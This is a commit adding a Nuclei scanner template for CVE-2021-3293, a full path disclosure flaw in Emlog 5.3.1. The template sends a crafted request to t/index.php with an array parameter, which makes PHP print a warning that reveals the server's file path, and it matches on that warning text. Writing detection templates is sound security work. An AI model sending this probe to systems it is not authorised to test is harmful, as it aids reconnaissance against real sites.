Create CVE-2021-3293.yaml (#3748)

* Create CVE-2021-3293.yaml

* misc updates

Co-authored-by: sandeep <sandeep@projectdiscovery.io>

cves/2021/CVE-2021-3293.yaml

@@ -0,0 +1,36 @@
+id: CVE-2021-3293
+
+info:
+  name: Emlog 5.3.1 Path Disclosure
+  description: emlog v5.3.1 has full path disclosure vulnerability in t/index.php, which allows an attacker to see the path to the webroot/file.
+  author: h1ei1
+  severity: high
+  reference:
+    - https://nvd.nist.gov/vuln/detail/CVE-2021-3293
+    - https://github.com/emlog/emlog/issues/62
+    - https://github.com/thinkgad/Bugs/blob/main/emlog%20v5.3.1%20has%20Full%20Path%20Disclosure%20vulnerability.md
+  tags: cve,cve2021,emlog,fpd
+  classification:
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
+    cvss-score: 7.50
+    cve-id: CVE-2021-3293
+    cwe-id: CWE-22
+
+requests:
+  - raw:
+      - |
+        GET /t/index.php?action[]=aaaa HTTP/1.1
+        Host: {{Hostname}}
+
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+
+      - type: word
+        words:
+          - "<b>Warning</b>"
+          - "on line"
+          - "expects parameter"
+        condition: and